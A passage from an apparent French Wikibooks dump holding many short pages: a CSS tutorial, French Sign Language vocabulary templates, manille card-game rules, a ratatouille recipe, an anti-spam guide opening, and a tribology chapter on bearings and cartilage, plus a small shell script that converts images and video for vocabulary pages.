ne tiennent pas compte des espaces et retour à la ligne. * Les indentifiants (nom, ''id'' et ''class'') ne peuvent contenir que des caractères A-Z, a-z, 0-9 plus le tiret (-) et le souligner (_). Il ne peuvent pas commencer par un nombre. == Structure générale == La feuille de style CSS fonctionne sous forme de ''déclarations''. Une déclaration est composée au minimum de deux éléments : l'indentifiant auquel on souhaite appliquer un style, et le groupe de règle. Analysons cette déclaration : h1 { color: red } Ici, l'élément à styler est h1 (titre de hauteur 1) et le groupe de règles, délimité par les accolades, contient la règle "mettre cet élément en rouge". Une règle consiste en une propriété (ici ''color''), suivie par ":", suivi par la valeur associée à la propriété (ici ''rouge''). Il est bien évidemment possible de spécifier plusieurs règles, pour un même élément, en les séparant par des point-virgules (;) de cette façon : h1 { color: red; font-weight: bold } Remarque : la dernière règle de comporte pas de point-virgule terminal. LSF/Langage 2279 13887 2005-01-30T18:09:19Z Kowey 113 Mots pour parler de la langue des signes. * [[LSF/Vocab/classificateur|classificateur]] * [[LSF/Vocab/configuration|configuration]] * [[LSF/Vocab/interface|interface]] * [[LSF/Vocab/traduire|interpret]] * [[LSF/Vocab/lsf|lsf]] * [[LSF/Vocab/mot|mot]] * [[LSF/Vocab/syntaxe|syntaxe]] * [[LSF/Vocab/traduire|traduire]] * [[LSF/Vocab/verbe|verbe]] * [[LSF/Vocab/voix|voix]] * [[LSF/Vocab/vocabulaire|vocabulaire]] LSF:Vocab:Classificateur 2280 13888 2005-01-19T21:01:07Z Kowey 113 LSF:Vocab:Classificateur déplacé vers LSF/Vocab/Classificateur #REDIRECT [[LSF/Vocab/Classificateur]] LSF:Vocab:Configuration 2281 13889 2005-01-19T21:09:03Z Kowey 113 LSF:Vocab:Configuration déplacé vers LSF/Vocab/Configuration #REDIRECT [[LSF/Vocab/Configuration]] Boîte à jeux/La manille 2283 40592 2006-04-20T15:03:52Z 82.125.57.182 /* But du jeu */ {{EnTravaux}} 4 joueurs<br/> durée d'une partie : 30-60 minutes == But du jeu == Obtenir 101 points == Matériel == Un jeu de 32 cartes (jeu de 54 cartes sans les cartes numérotées de 2 à 6) == Règles == === Formation des équipes === Le jeu se joue par équipe de deux joueurs. Les équipes sont formées en « tirant les rois » : on commence par poser une première carte face visible au milieu de la table de jeu. Cette carte indique la couleur des rois que l'on cherche : si la carte est rouge, on cherche les rois noirs, si la carte est noire, on cherche les rois rouges. On distribue ensuite toutes les cartes du jeu, une par une, en les posant face visible devant chaque joueur. On arrête de poser des cartes devant un joueur lorsque l'on pose un roi de la couleur cherchée devant lui. On arrête de distribuer les cartes lorsque le deuxième roi de la couleur cherchée est posé. Les joueurs possédant les rois de la couleur cherchée forment une première équipe, les deux autres joueurs, la seconde équipe. Une fois les équipes formées, les joueurs d'une même équipe doivent se placer face à face, comme suit : {| | équipe A || équipe B |- | équipe B || équipe A |} === Distribution des cartes === Une partie se joue en tours, les cartes étant redistribuées à chaque tour. Le premier joueur à distribuer est le joueur qui a obtenu le premier roi. Avant d'être distribuées, les cartes sont « coupées » : le joueur se trouvant à la droite du donneur sépare le paquet de cartes en deux parties, puis pose les cartes venant du dessous du paquet au dessus. La distribution des cartes s'effectue dans les sens des aiguilles d'une montre en commencant par le joueur se trouvant à la gauche du donneur. Le donneur fait un premier tour où il donne trois cartes à chaque joueur, puis deux, puis trois, il distribue ainsi huit cartes à chaque joueur. === Valeur des cartes === La carte la plus forte est le dix, que l'on appelle « manille », la deuxième carte la plus forte est l'as, que l'on appelle « manillon ». Ensuite les têtes dans l'ordre classique : roi, dame, valet. Puis le reste des cartes : neuf, huit, sept. 10 > 1 > roi > dame > valet > 9 > 8 > 7 === Annonces === Une fois que le donneur a fini de distribuer les cartes, les joueurs peuvent regarder leurs cartes. Le donneur doit alors annoncer la couleur qui va être l'atout pour le tour de jeu (pique, coeur, carreau ou trèfle). Il peut aussi décider de passer la main à son partenaire en annonçant « en face » ou de ne pas prendre d'atout en anonçant une « voiture ». Si le donneur annonce en face, son partenaire est alors obligé de choisir une couleur d'atout ou d'annoncer une voiture, il ne peut pas redonner la main à son partenaire. Lorsque l'un des deux joueurs de l'équipe du donneur a annoncé un atout (ou une voiture), les joueurs de l'équipe adverse peuvent « coincher » : ils frappent la table avec le poing. Lorsque l'on coinche les points attribués au vainqueur de la partie sont doublés. Un joueur de l'équipe du donneur peut alors « sur-coincher » : il frappe à sont tour la table, les points sont alors multipliés par quatre. === Déroulement du jeu === Le joueur se trouvant à la gauche du donneur commence à jouer en posant la carte de son choix. Les autres joueurs posent à leur tour une carte chacun leur tour, dans le sens des aiguilles d'une montre et en respectant les règles suivantes : * « fournir à la couleur », si un joueur dispose de une ou plusieurs cartes de la même couleur que celle déjà posées, il doit obligatoirement poser une carte de cette couleur ; * « monter à la carte » sur son adversaire et son partenaire,uniquement lorsque l'atout est demandé.Dans tous les autres cas les joueurs ne sont pas obligés de monter. S'il n'y a pas d'atout, dans le cas d'une voiture par exemple, aucun des joueurs n'est obligés de "monter à la carte". * « couper », si un joueur ne dispose pas de cartes de la couleur demandée et dispose d'un ou plusieurs atouts, il est obligé de couper (jouer un atout) '''sauf''' si son partenaire est maître. Lorsque les quatre joueurs ont chacun posés une carte, l'équipe du joueur qui est maître ramasse les cartes et le joueur qui était maître pose une carte de son choix, etc. == Stratégies == Programmation CSS - Glossaire 2284 13892 2005-01-20T15:18:51Z Meanos 168 == A == == B == == C == === Canevas === Représente l'espace fermé dans lequel la [[Programmation CSS - Glossaire#Structure|structure de formatage]] est traitée. Pour l'écran d'ordinateur, il s'agira de la zone de visualisation du navigateur ; pour une page papier, il s'agira de l'espace imprimable de la page ; etc. [http://www.yoyodesign.org/doc/w3c/css2/intro.html#q4 Recommandation CSS2 - Le canevas] (FR) == D == == E == == F == == G == == H == == I == == J == == K == == L == == M == == N == == O == == P == == Q == == R == == S == === Structure === Désigne la façon dont un document HTML et XML est construit, au moyen d'un arbre implicite d'éléments explicites. Tout document HTML ou XML propose une structure dite « de formatage » qui est utilisée pour appliquer les règles de style aux éléments idoines. == T == == U == == V == == W == == X == == Y == == Z == Suédois 2287 38163 2006-03-18T11:35:31Z 81.227.216.45 png -> svg [[Image:Flag of Sweden.svg|thumb|200px|right|Drapeau de la Suède]] [[Image:Flag of Finland.svg|thumb|200px|right|Drapeau de la Finlande]] {{ébauche}} Le '''[[w:suédois|suédois]]''' est une langue germanique parlée en [[w:Suède|Suède]] et en [[w:Finlande|Finlande]]. Svenska är ett germanskt språk som också talas i Finland. ==Phrases usuelles== *Hej : ''bonjour'' *Hej då : ''au revoir'' *jag älskar dig : ''je t'aime'' *tack : ''merci'' *tack så mycket : ''merci beaucoup'' *varsågod : ''de rien'', ''je vous en prie'' *ingen orsak : ''de rien'' *hur mår du? ''comment ça va ?'' *du är fin. ''vous êtes belle'' *GE MIG FEM! ''donnez moi cinq !'' (expression populaire "check me 5") == Situationer och konversationer med vokabulär ''(Situations & conversations avec vocabulaire)'' == #[[suédois : Se présenter]] Välkomna #[[suédois : Voyager]] Resa # #[[suédois : Famille]] Familj <!-- voir en:swedish --> [[Catégorie:Langue|Suédois]] [[en:swedish]] [[fi:Ruotsin kieli]] Anglais : le caractère 2288 26246 2005-11-29T11:58:21Z 195.24.211.42 {{Enseignement anglais}} Tous les adjectifs décrivant le caractère sont employés avec le verbe to be.<br />Exemple : He is fun. ''Il est amusant''. She is good-tempered. ''Elle a bon caractère''. <table border=1> <tr><td>courageux</td> <td>brave</td><td>large d'esprit</td><td>broad-minded</td></tr> <tr><td>doué</td> <td>gifted</td><td>intelligent</td><td>clever</td></tr> <tr><td>gai</td> <td>cheerful</td><td>ouvert</td><td>out-going</td></tr> <tr><td>vivant</td> <td>lively</td><td>sociable</td><td>sociable / gregarious</td></tr> <tr><td>agréable</td> <td>pleasant</td><td>amusant</td><td>fun</td></tr> <tr><td>bon caractère</td> <td>good-tempered</td><td>bon</td><td>friendly</td></tr> <tr><td>ouvert</td> <td>out-going</td><td>attentionné</td><td>caring</td></tr> <tr><td>tolérant</td><td>tolerant</td><td>poli</td><td>polite</td></tr> </table> Wikilivres:Pourquoi ne pas contribuer au projet Wikilivres ? 2290 13896 2005-04-27T21:19:59Z 84.5.64.160 intelLectuelles, non mais ;) Non il n'y a aucune raison valable... Si ce n'est s'approprier jalousement des connaissances intellectuelles. LSF/Justice 2291 13897 2005-01-20T22:00:32Z Kowey 113 * [[LSF/Vocab/Amende|amende]] * [[LSF/Vocab/Avocat|avocat]] * [[LSF/Vocab/Juge|juge]] * [[LSF/Vocab/Juger|juger]] LSF:Vocab:États-Unis 2292 13898 2005-01-20T21:35:42Z Kowey 113 LSF:Vocab:États-Unis déplacé vers LSF/Vocab/États-Unis #REDIRECT [[LSF/Vocab/États-Unis]] LSF/Vocab/juge 2293 13899 2005-01-30T13:32:08Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab juge.ogg|thumb=LSF VocabThumb juge.jpeg|français=juge|mimeo=habits de juge|mot=juge|config=}} == Voir aussi == * [[LSF/Vocab/juger]] * [[Category:LSF/Vocabulaire_fr_à_lsf|juge]] LSF/Vocab/juger 2294 13900 2005-01-30T13:32:37Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab juger.ogg|thumb=LSF VocabThumb juger.jpeg|français=juger|mimeo=balance|mot=juger|config=}} == Voir aussi == * [[LSF/Vocab/juge]] [[Catégorie:LSF/Vocabulaire fr à lsf|juger]] LSF/Vocab/avocat 2295 13901 2005-01-23T16:39:15Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab avocat.ogg|thumb=LSF VocabThumb avocat.jpeg|français=avocat|mimeo=habits d'avocat|mot=avocat|config=}} == Voir aussi == * [[LSF/Vocab/Juge]] * [[Catégorie:LSF/Vocabulaire_fr_à_lsf|avocat]] Modèle:LSF vocabulaire 2296 13902 2005-03-02T16:19:20Z Kowey 113 rv erreur {{LSF}} {| id="toc" style="float: right; margin: 1em; width: 20em; font-size: 90%;" cellspacing="3" |- | colspan="2" style="text-align: center; font-size: larger;" | '''{{{mot}}}''' |- | colspan="2" style="text-align: center;" | [[Image:{{{thumb}}}]] |- | colspan="2" style="text-align: center;" | Télécharger la vidéo [[Media:{{{vid}}}|{{{vid}}}]]. |- style="vertical-align: top;" |'''Français''' |style="padding-right: 1em;" | {{{français}}} |- style="vertical-align: top;" |'''Configurations''' |style="padding-right: 1em;" | {{{config}}} |- style="vertical-align: top;" |'''Mimeotechnique''' |style="padding-right: 1em;" | {{{mimeo}}} |} [[Category:LSF/Vocabulaire|{{{mot}}}]] Modèle:Latin 2297 13903 2005-01-21T07:48:58Z Marc 66 <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Méthode latine]]''' <tr align="center"> <td> [[Notions préliminaires sur la langue latine|Notions]] | [[Latin : leçon 1|Leçon 1]] | [[Latin : leçon 2|Leçon 2]] | [[Latin : leçon 3|Leçon 3]] | [[Latin : leçon 4|Leçon 4]] | [[Latin : leçon 5|Leçon 5]] | [[Latin : leçon 6|Leçon 6]] | [[Latin : leçon 7|Leçon 7]] | [[Latin : leçon 8|Leçon 8]] | [[Latin : leçon 9|Leçon 9]] | [[Latin : leçon 10|Leçon 10]] </table> Catégorie:LSF/Vocabulaire 2300 19726 2005-08-21T15:20:50Z Clairette 219 {{LSF}} Vous trouverez des mots de vocabulaire par '''ordre alphabétique'''. Chaque mot est associé à sa forme signée. Pour voir les '''signes''', cliquez sur le mot qui vous intéresse !!! LSF/Vocab/neutre 2303 13907 2005-01-23T16:57:42Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab neutre.ogg|thumb=LSF VocabThumb neutre.jpeg|français=neutre|mimeo=|mot=neutre|config=}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|neutre]] [[Category:LSF/Vocabulaire/Pas trié|neutre]] Catégorie:LSF/Vocabulaire/Pas trié 2304 13908 2005-01-21T20:42:53Z Kowey 113 Mots en LSF qui ne sont pas encore triés par thème. LSF/Vocab/automatique 2305 13909 2005-01-23T16:40:00Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab automatique.ogg|thumb=LSF VocabThumb automatique.jpeg|français=automatique|mimeo=|mot=automatique|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|automatique]] [[Category:LSF/Vocabulaire_fr_à_lsf|automatique]] Modèle:LSF exercice 2306 13910 2005-01-21T21:08:14Z Kowey 113 Modèle:LSF exercice déplacé vers Modèle:LSF exercice inversible #REDIRECT [[Modèle:LSF exercice inversible]] LSF:Exercices:3 novembre 2307 13911 2005-01-21T21:11:40Z Kowey 113 LSF:Exercices:3 novembre déplacé vers LSF/Exercices/3 novembre #REDIRECT [[LSF/Exercices/3 novembre]] LSF:Exercices:Chiffres ABC 2308 13912 2005-01-21T21:12:06Z Kowey 113 LSF:Exercices:Chiffres ABC déplacé vers LSF/Exercices/Chiffres ABC #REDIRECT [[LSF/Exercices/Chiffres ABC]] LSF/Exercices/F et T 2309 13913 2005-01-23T16:01:25Z Kowey 113 {{LSF}} {{LSF thumb|LSF ExoThumb F et T.jpeg|LSF Exo F et T.ogg}} F et T sont des lettres ressemblants. Est-ce que vous pouvez les distinguer? Écrire les mots que vous voyez dans cette vidéo. {{LSF exercice inversible}} LSF/Exercices/F et T/Texte 2310 13914 2005-01-21T21:34:05Z Kowey 113 # Foxtrot # truffes # fete # faille # taille # Tokyo # flotte # loft # fletan # truite # fuite LSF/Vocab/lsf 2311 13915 2005-01-23T15:06:20Z Kowey 113 {{LSF vocabulaire|français=lsf|mimeo=|mot=lsf|config=}} [[Image:LSF_VocabThumb_lsf.jpeg|frame|left|Voir la vidéo [[Media:LSF Vocab lsf.ogg]].]] [[Category:LSF/Vocabulaire_fr_à_lsf|lsf]] LSF/Vocab/amende 2312 13916 2005-01-23T16:38:10Z Kowey 113 {{LSF vocabulaire|thumb=LSF VocabThumb amende.jpeg|vid=LSF Vocab amende.ogg|français=amende|mimeo=|mot=amende|config=}} == Voir aussi == [[LSF/Vocab/payer|payer]] <!-- catégorie --> [[Category:LSF/Vocabulaire_fr_à_lsf|amende]] LSF/Vocab/verbe 2313 13917 2005-01-23T17:12:09Z Kowey 113 {{LSF vocabulaire|vid=LSF_Vocab_verbe.ogg|thumb=LSF_VocabThumb_verbe.jpeg|français=verbe|mimeo=|mot=verbe|config=v}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|verbe]] LSF/Vocab/vocabulaire 2314 13918 2005-01-23T17:04:55Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab vocabulaire.ogg|thumb=LSF VocabThumb vocabulaire.jpeg|français=vocabulaire|mimeo=|mot=vocabulaire|config=}} == Voir aussi == [[Catégorie:LSF/Vocabulaire fr à lsf|vocabulaire]] Image:Cocottes basse.jpg 2315 13919 2005-01-21T23:59:01Z Tonylb 170 cocottes_basse cocottes_basse Cuisine:Ratatouille 2316 13920 2005-01-22T00:05:12Z Tonylb 170 ==Ingrédients== Pour 4 à 6 personnes : * 4 tomates pelées * 2 aubergines de taille moyenne, lavées et coupées en dés de 2,5 cm * sel * poivre noir fraîchement moulu * 4 cuillères à soupe d'huile d'olive vierge * 2 oignons épluchés et coupés en rondelles * 2 gousses d'ail écrasées * 2 poivrons, verts ou rouges, épépinés et coupés en lanières * 1 bouquet garni * 4 courgettes, lavées et coupées en quartiers * 4 cuillères à soupe de persil frais finement haché ==Ustensiles== Cocotte basse [[Image:Cocottes_basse.jpg]] ==Préparation== Placez les aubergines dans une passoire, parsemez de sel et laissez égoutter 20 minutes. Rincez, laissez encore égoutter et essuyer soigneusement avec du papier de cuisine. Faites chauffer l'huile dans la cocotte basse, ajouter les oignons et l'ail, mélangez bien et laissez cuire 5 minutes. Ajoutez les poivrons, les aubergines et le bouquet garni et laissez cuire encore 5 minutes. Ajoutez les courgettes, assaisonnez et mélangez. Couvrez et laissez mijoter 15 minutes. Ajoutez les tomates, mélangez doucement et couvrez. Poursuivez la cuisson à feu doux pendant 40 minutes, jusqu'à ce que les légumes soient tendres. Goûtez et corrigez l'assaisonnement. Enlevez le bouquet garni, ajouter le persil et servez. Se prémunir du courrier indésirable 2318 13922 2005-01-22T14:26:21Z François Obada 63 Création du guide Ce petit guide vous propose un ensemble de conseils et de recommandations pour se prémunir du courrier indésirable. ==Introduction== Qu'on l'appelle « spam » ou « pourriel », le courrier électronique indésirable est bien trop souvent le lot quotidien des internautes, quelles que soient leurs conditions. Bien qu'il existe des techniques pour le supprimer en aval, c'est-à-dire à sa réception, le mieux reste d'éviter d'en recevoir et donc de s'en prémunir. Tout comme il existe certains moyens d'éviter les maladies (se couvrir quand il fait froid, dormir suffisamment, éviter certaines consommations, se protéger lors de rapports sexuels, etc.), il existe certaines techniques, ou plutôt certaines mesures de bon sens, qui permetteront le plus souvent d'éviter de recevoir des courriers électroniques indésirables, ou de limiter sa quantité. Les mesures proposées dans ce guide ne sont ni exhaustives, ni garanties, mais elles vous permetteront de repartir du bon pied sans craînte de ce fléau pour vous et ceux dont vous êtes responsables. A titre d'avertissement linguistique, je tiens à vous rappeler ces quelques réalités : la langue anglaise est devenue la langue véhiculaire internationale de fait, et certains phénomènes, certaines techniques et technologies, parmi lesquelles Internet et l'informatique, possèdent leur propre jargon en langue anglaise. De plus, certains termes francisés par l'Office de la langue française du Québec ou par l'Académie Française ne sont utilisés couramment par une majorité de locuteurs. Par conséquent, loin de remettre en cause leur pertinence dans une volonté de généraliser l'usage du français sur Internet, je ne me permetterais pas non plus de la cautionner : j'utiliserais dans ce guide les termes couramment employés par la communauté francophone sur Internet, indépendamment de leur origine linguistique. ==Avoir deux ou plusieurs adresses de courriel== Ratatouille 2319 13923 2005-01-22T15:51:16Z Weft 169 Ratatouille déplacé vers Cuisine:Ratatouille #REDIRECT [[Cuisine:Ratatouille]] Catégorie:LSF/Vocabulaire fr à lsf 2322 13926 2005-01-23T13:45:18Z Kowey 113 Les mots de la LSF trié par leurs traductions françaises en ordre alphabetique Modèle:LSF thumb 2323 13927 2005-01-23T16:27:55Z Kowey 113 [[Image:{{{1}}}|frame|right|Voir la vidéo [[Media:{{{2}}}]].]] LSF/Vocab/syntaxe 2324 13928 2005-01-23T17:31:45Z Kowey 113 {{LSF vocabulaire|mot=syntaxe|vid=LSF Vocab syntaxe.ogg|thumb=LSF VocabThumb syntaxe.jpeg|français=syntaxe|config=x|mimeo=}} [[Catégorie:LSF/Vocabulaire_fr_à_lsf|syntaxe]] LSF/Vocab/Verbe 2325 13929 2005-01-23T17:33:22Z Kowey 113 LSF/Vocab/Verbe déplacé vers LSF/Vocab/verbe #REDIRECT [[LSF/Vocab/verbe]] LSF/Vocab/configuration 2326 19730 2005-08-21T15:43:09Z Clairette 219 {{LSF vocabulaire|vid=LSF Vocab configuration.ogg|thumb=LSF VocabThumb configuration.jpeg|français=configuration|mimeo=|mot=configuration|config=}} == Voir aussi == * la page sur les différents types de [[LSF/Configurations|configurations]]. [[Category:LSF/Vocabulaire fr à lsf|configuration]] LSF/Outils 2327 13931 2005-03-06T21:35:40Z Kowey 113 /* Preparation */ == Script pour créer un mot de vocabulaire (Linux et OS X) == === Preparation === Avant d'utiliser le script pour la premier fois, il faut le modifier pour votre système # Installez le logiciel imagemagick # Téléchargez <tt>lsfvocab.sh</tt> et <tt>lsfvocab.template</tt> sur votre système. # Changez X et Y à la resolution naturelle de votre appareil photo (faculatatif). # Changez EDITEUR_IMAGE à un nom d'editeur d'image tel que <tt>gimp</tt> (Linux). Si vous êtes sur OS X, aucune modification est neccesaire === Utilisation === Sauvegardez votre vidéo sur <tt>tmp.avi</tt>, et une photo représentative sur <tt>tmp.jpeg</tt>. Lancer le script avec un mot comme argument. Par exemple, si vous le lancez <tt>./lsfvocab.sh education</tt>; il va créer deux fichiers <tt>LSF_VocabThumb_education.jpeg</tt> et <tt>LSF_Vocab_education.ogg</tt>. Il vous proposera aussi les codes wiki pour faire le mot de vocabulaire "education" === lsfvocab.sh === <pre> #!/bin/sh X=288 Y=208 EDITEUR_IMAGE=open if [ $# -ne 1 ]; then echo "usage: $0 mot" exit 1 fi WORD=${1} # pour faire un "crop" sur l'image convert -scale ${X}x${Y} tmp.jpeg LSF_VocabThumb_${WORD}.jpeg ${EDITEUR_IMAGE} LSF_VocabThumb_${WORD}.jpeg # convertir la video en format .ogg ffmpeg2theora tmp.avi --nosound -x${X} -y${Y} -o LSF_Vocab_${WORD}.ogg # texte a copie-coller dans le wiki clear sed -e "s/@WORD@/${WORD}/g" lsfvocab.template </pre> === lsfvocab.template === <pre> {{LSF vocabulaire|vid=LSF Vocab @WORD@.ogg|thumb=LSF VocabThumb @WORD@.jpeg|français=@WORD@|mimeo=|mot=@WORD@|config=}} == Voir aussi == [[Category:LSF/Vocabulaire fr à lsf|@WORD@]] </pre> LSF/Vocab/classificateur 2329 13933 2005-01-23T17:57:04Z Kowey 113 {{LSF vocabulaire|vid=LSF_Vocab_classificateur.ogg|thumb=LSF_VocabThumb_classificateur.jpeg|français=classificateur|mimeo=|mot=classificateur|config=}} == Voir aussi == LSF:Exercices:3 novembre/Texte 2330 13934 2005-01-23T18:10:23Z Kowey 113 LSF:Exercices:3 novembre/Texte déplacé vers LSF/Exercices/3 novembre/Texte #REDIRECT [[LSF/Exercices/3 novembre/Texte]] Tribologie - Guidage par glissement de surfaces 2331 45427 2006-06-22T23:07:33Z Jean-Jacques MILAN 114 /* Applications */ [[Catégorie:Tribologie]] {{EnCours}} '''La présence de ce bandeau vous avertit que l'essentiel des informations de ce chapitre n'a pas encore été transféré mais rien ne vous empêche, dès maintenant, de compléter ce texte !''' {{Tribologie}} == Guidages par surfaces lisses fonctionnant à sec == == Guidages par surfaces lisses fonctionnant en régime limite ou onctueux == == Guidages par surfaces lisses fonctionnant en régime hydrodynamique == ===Principe === Les surfaces sont séparées par une pellicule d'huile dont la formation dépend du mouvement relatif des éléments du guidage. Si celle pellicule est suffisamment épaisse, les pièces sont totalement séparées, il n'existe plus aucun contact des aspérités et théoriquement l'usure peut être réduite à zéro. Lorsque les conditions de fonctionnement sont très stables, il est possible d'obtenir des coefficients de frottement de quelques millièmes seulement et les paliers hydrodynamiques font alors aussi bien que les guidages par roulement, avec des avantages supplémentaires qui sont le silence de fonctionnement, la résistance aux chocs et un moindre encombrement. Lorsque les conditions de fonctionnement sont très variables, les guidages lisses hydrodynamiques sont moins bien adaptés et il vaut éventuellement mieux choisir d'autres solutions, comme une alimentation sous pression ou le choix de roulements. Les guidages lisses hydrodynamiques mal choisis ou mal calculés peuvent aussi se révéler catastrophiques. ===Applications === * Pour des raisons de fiabilité et de résistance aux chocs, les disques durs portatifs présentés par Fujitsu en mars 2006 sont montés non pas sur des roulements, mais sur des paliers hydrodynamiques. === Surveillance des guidages hydrodynamiques === L'augmentation constante de la compacité des machines et des performances demandées aux guidages lisses fait que ceux-ci fonctionnent de plus en plus près de leurs limites. Dans le cas des guidages hydrodynamiques, la diminution de l'épaisseur des films d'huile fait que l'absence de contact entre les aspérités des pièces mécaniques ne peut pas toujours être garantie. Si de tels contacts se produisent, cela signifie que le point de fonctionnement ne se situe plus dans la zone de stabilité de la courbe de Stribeck mais dans la zone de graissage « mixte », instable par nature, où les charges sont portées à la fois par les contacts d'aspérités et par la pression du fluide. Dans ces conditions, le frottement et l'usure peuvent connaître un accroissement rapide, conduisant immanquablement à la ruine du guidage. Les conséquences peuvent être très graves : à bord d'un navire, la défaillance d'un palier de moteur représente une menace pour la machine et pour l'environnement, aussi bien que pour les vies humaines. C'est pourquoi l'on cherche à mettre au point des systèmes de surveillance efficaces, fiables et susceptibles de donner des indications sur l'état des mécanismes pendant leur fonctionnement. Les chercheurs de l'Université de Karlsruhe ont mis au point un système utilisant l'analyse des bruits émis lors des contacts métalliques survenant entre les aspérités des surfaces. Les mesures sont confiées à des capteurs acoustiques dont les données sont analysées par des méthodes d'analyse spectrale. Ces capteurs peuvent être situés loin des zones à surveiller, éventuellement même en-dehors des carters des machines, et de ce fait leur adaptation à un matériel existant peut généralement se faire sans modification notable. Les caractéristiques des émissions permettent même de détecter quelle sorte d'avarie est en train de se produire. Un mécanicien averti peut parfois détecter à l'oreille l'apparition d'une avarie, en particulier lorsque le bruit émis pendant le fonctionnement d'une machine change plus ou moins rapidement, mais les capteurs permettent d'aller bien au-delà du domaine audible puisqu'ils travaillent essentiellement dans le domaine des ultrasons, entre 80 et 140 kHz. Ces fréquences sont loin de celles qui correspondent au fonctionnement normal de la plupart des machines. De ce fait, les bruits « normaux » n'ont pratiquement pas d'effet sur les capteurs. Naturellement, pour éviter des erreurs de diagnostic, il convient que les limites de réaction du système soient correctement déterminées, aussi bien pour l'amplitude des émissions que pour leurs fréquences. C'est pourquoi des bancs d'essais spéciaux ont été mis au point, ainsi que des procédures précises d'étalonnage. D'autres renseignements peuvent être utilisés par le système, comme par exemple l'évolution de la température. Cette dernière, en rendant le lubrifiant plus fluide, provoque une augmentation des frottements qui à son tour augmente l'échauffement et ainsi de suite jusqu'à la défaillance du guidage, qui peut alors être provoquée sous des charges très faibles. == Contacts élastohydrodynamiques == == Guidages hydrostatiques == == Guidages aérostatiques == == Guidage sur coussin d'air en matériau poreux == La société IBS propose sa technologie des guidages à air en matériau poreux NEW WAY® pour remplacer les guidages à air traditionnels. Cette technique se rapproche de la situation idéale qui offrirait une pression d’air identique sur toute la surface du guidage avec un débit d’air limité. Le guidage qu'elle propose procure une excellente stabilité, une insensibilité aux rayures, l’absence d’à-coups lors de la mise en pression, une charge admissible plus importante, un large choix de géométries (guidages plat, cylindrique, circulaire) et de matériaux de guidage (Graphite, Carbure de silicium, Alumine). Par rapport aux solutions courantes, le guidage par coussin d'air offre divers avantages : * une friction statique nulle * une usure nulle, l'absence de contact signifie virtuellement aucune usure * une grande propreté * un mouvement plus rectiligne qu'avec les guidages à billes qui sont sensibles à l’état de surface et aux irrégularités des guides * un silence et une douceur de fonctionnement inégalés, alors que la circulation des billes ou des rouleaux engendre des bruits et des vibrations particulièrement préjudiciables pour des mécanismes comme les scanners. * la suppression des problèmes liés à l'utilisation de lubrifiants comme des huiles ou des graisses. De plus les guidages à air sont autonettoyants car ils chassent la poussière des surfaces sèches de guidages. Par comparaison, la lubrification par l'huile crée du cambouis. * des vitesses et des accélérations élevées. Il n'y a aucun élément roulant susceptible de patiner lors des accélérations. Parmi les applications on peut notamment citer les machines à mesurer, les systèmes de vision, de scanographie, d’usinage à grande vitesse, d’usinage à sec des métaux, les broches de machines-outils, les tables rotatives, les servomécanismes rapides, la lithographie, la mise au point et l'alignement précis de miroirs et d’objectifs, la découpe de silicium en tranches… Les guidages à air New Way® existent en de nombreux modèles standards, en dimensions métriques, et sont disponibles sur stock. La technologie du matériau poreux permet également le sur mesure et offre un potentiel d’applications quasiment illimité. == Guidage sur des couches minces « spongieuses » == Les couches dont il est question ici comportent une « structure » relativement dense, facilement déformable, très poreuse, « imprégnée » d'un fluide liquide ou gazeux. On peut ranger dans cette catégorie des matériaux en apparence aussi différents que le [[w:fr:cartilage|cartilage]] qui garnit les articulations des animaux, la neige pas trop compactée, les « mousses » et autres « plumes » susceptibles de participer au guidage de véhicules à grande vitesse, etc. La structure spongieuse ne saurait supporter toute seule les charges, car elle est très déformable. Lorsqu'elle est imprégnée d'un fluide, celui-ci est mis en pression et soutient les pièces frottantes. L'« éponge » intervient alors pour ralentir l'écoulement du fluide vers l'extérieur ; elle doit avoir une structure ouverte, mais pas trop. C'est ainsi, par exemple, que le frottement sur le cartilage est en fait un frottement sur le liquide synovial, que le frottement des skis sur la neige fraîche est, pour l'essentiel, un frottement sur un film d'air, etc. Notons que ces systèmes supportent bien les charges dynamiques et mal les charges statiques. Il ne faut pas laisser aux fuites le temps de faire leur travail ! === Le cartilage === Les cartilages articulaires (il en existe d'autres sortes, comme les cartilages de conjugaison ou de croissance) permettent les mouvements relatifs des pièces osseuses au niveau des articulations. La répartition des cellules est particulière : vers l'extérieur, elles sont aplaties et parallèles à la surface articulaire, en profondeur, du côté de l'os, elles sont disposées en colonnes perpendiculaires à cette surface. Une sorte de « charpente » est constituée par des fibres de collagène formant des sortes d'arcs, ou d'ogives, orientées par rapport aux charges comme les ogives d'une voûte de cathédrale. Le cartilage doit être à la fois rigide pour assurer la précision des mouvements et souple pour répartir convenablement les pressions et les transmettre aux tissus osseux sous-jacents. Le tissus cartilagineux est également poreux, le liquide synovial qu'il contient (essentiellement composé d'acide hyaluronique) assure l'alimentation des cellules et l'évacuation de leurs déchets. Au '''repos''', par suite de divers phénomènes liés à l'osmose, une pression de l'ordre de 2 bars règne à l'intérieur du cartilage. Lors d'une '''mise en charge statique''', la pression monte dans le cartilage, des fuites d'eau se produisent, mais en réaction elles font croître la pression osmotique, de sorte que la déformation reste modérée et que les charges sont bien supportées. Lors du '''glissement sous charge''' qui accompagne le mouvement dans une articulation, la charpente de collagène s'affaisse et le liquide synovial contenu dans le cartilage est mis sous pression ; c'est lui qui supporte l'essentiel des charges, car il n'a pas le temps de s'échapper de la structure qui freine considérablement ses déplacements. Les surfaces elles-mêmes ne sont pas extrêmement sollicitées car elles sont en quelque sorte protégées à la fois par l'acide adsorbé sur les cellules et par celui qui exsude des tissus. Tout ceci donne une structure très résistante, peu sujette à l'usure, et surtout dotée d'un '''coefficient de frottement extrêmement faible''', largement inférieur à celui d'un patin d'acier sur la glace. D'une manière générale, les cycles de charge et de décharge qui se produisent lors de mouvements tels que la marche ou mastication des aliments sont plus favorables que l'application de charges statiques de longue durée sur des articulations immobiles. Il est clair que les cellules superficielles du cartilage jouent un rôle fondamental dans ces processus. Leur forme et leur répartition fait que la surface est moins poreuse que l'intérieur, ce qui limite les fuites, tout en facilitant la formation de couches adsorbées favorables au glissement. Leur dégradation sous l'effet de divers processus, par exemple des 